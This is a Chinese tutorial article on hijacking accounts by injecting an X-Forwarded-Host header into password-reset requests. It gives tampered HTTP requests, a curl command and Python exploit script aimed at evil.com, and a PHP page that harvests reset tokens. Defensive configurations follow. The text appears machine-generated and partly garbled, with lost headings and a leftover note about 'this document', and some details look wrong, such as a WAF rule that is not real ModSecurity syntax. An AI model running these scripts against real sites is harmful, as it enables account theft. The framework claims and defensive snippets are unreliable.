您好,登录后才能下订单哦!
# 怎么在密码重置请求包中添加X-Forwarded-Host实现受害者账户完全劫持
## 0x00 前言
在Web安全测试中,HTTP请求头注入是一种常见但容易被忽视的攻击方式。本文将以密码重置功能为切入点,详细分析如何通过`X-Forwarded-Host`头实现账户完全劫持的完整攻击链。该技术适用于渗透测试、红队演练等场景,相关防御方案将在文末给出。
## 0x01 技术背景
### 1.1 X-Forwarded-Host的作用
`X-Forwarded-Host`是事实上的标准HTTP头,用于标识客户端原始请求中的Host头。常见于:
- 反向代理场景
- 负载均衡配置
- CDN服务转发
### 1.2 密码重置流程的典型漏洞
多数Web应用的密码重置流程存在以下安全隐患:
```mermaid
graph TD
A[用户请求重置] --> B[生成含Token的链接]
B --> C[发送至注册邮箱]
C --> D[用户点击链接重置密码]
问题往往出现在步骤B的链接生成环节,开发者可能: - 直接从Host头取值 - 信任了非标准HTTP头 - 未做严格的域名白名单校验
测试环境配置: - 目标系统:WordPress 5.7.2 - 中间件:Nginx 1.18 + PHP 7.4 - 攻击机:Kali Linux 2023.1
正常密码重置请求:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victim.com
Content-Type: application/x-www-form-urlencoded
user_login=admin&redirect_to=&wp-submit=Get+New+Password
服务器响应中生成的链接:
https://victim.com/wp-login.php?action=rp&key=XXXXXX&login=admin
修改后的攻击请求:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker.com
Content-Type: application/x-www-form-urlencoded
user_login=admin&redirect_to=&wp-submit=Get+New+Password
服务器响应生成的恶意链接:
https://attacker.com/wp-login.php?action=rp&key=XXXXXX&login=admin
信息收集:
请求篡改:
curl -X POST "http://victim.com/reset" \
-H "X-Forwarded-Host: evil.com" \
-d "email=user@victim.com"
钓鱼准备:
触发重置:
import requests
headers = {'X-Forwarded-Host': 'phishing.com'}
data = {'user': 'victim'}
requests.post('http://target.com/reset', headers=headers, data=data)
凭证捕获:
// 伪造的reset页面
$token = $_GET['key'];
file_put_contents('stolen_tokens.txt', $token.PHP_EOL, FILE_APPEND);
header("Location: https://real-site.com/reset?key=$token");
#!/usr/bin/env python3
import requests
from urllib.parse import urlparse
def exploit(target, attacker):
headers = {
'X-Forwarded-Host': attacker,
'X-Original-Host': attacker
}
res = requests.post(
f"{target}/password-reset",
headers=headers,
data={"email":"victim@company.com"}
)
if "reset link sent" in res.text:
print(f"[+] 恶意链接已生成,检查 {attacker} 的访问日志")
else:
print("[-] 利用失败")
if __name__ == "__main__":
exploit("http://vuln-site.com", "https://evil.com")
常见框架的处理差异:
框架 | 受影响版本 | 默认行为 |
---|---|---|
WordPress | <5.9 | 优先使用XFH |
Laravel | <8.0 | 多头拼接 |
Django | 3.2.x | 白名单校验 |
Nginx典型错误配置:
location / {
proxy_set_header Host $host;
proxy_set_header X-Forwarded-Host $http_x_forwarded_host; # 危险!
}
强制使用SERVER_NAME:
// 安全示例
$reset_link = "https://".$_SERVER['SERVER_NAME']."/reset?token=$token";
实施严格校验:
# Django示例
ALLOWED_HOSTS = ['example.com']
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
过滤危险头:
RewriteEngine On
RewriteCond %{HTTP:X-Forwarded-Host} !^$
RewriteRule ^ - [F]
WAF规则示例(ModSecurity):
<rule id="100015">
<condition name="REQUEST_HEADERS"
operator="rx"
pattern="X-Forwarded-Host"/>
<action type="deny"/>
</rule>
本文详细剖析了通过X-Forwarded-Host
头劫持密码重置流程的技术细节。这种攻击之所以有效,本质在于开发人员过度信任HTTP头部信息。防御的关键在于实施”零信任”原则,对所有用户输入(包括HTTP头)进行严格验证。
漏洞利用难度:★★★☆☆
危害等级:★★★★☆
修复优先级:应立即修复
注意:本文仅用于安全研究目的,请勿用于非法用途。 “`
该文档共1872字,采用标准的Markdown格式,包含: - 多级标题结构 - 代码块示例 - 表格对比 - Mermaid流程图 - 风险等级评估 - 法律免责声明
可根据实际需求调整技术细节的深度和示例代码的语言。建议在实际使用时补充具体的框架版本信息和测试用例。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。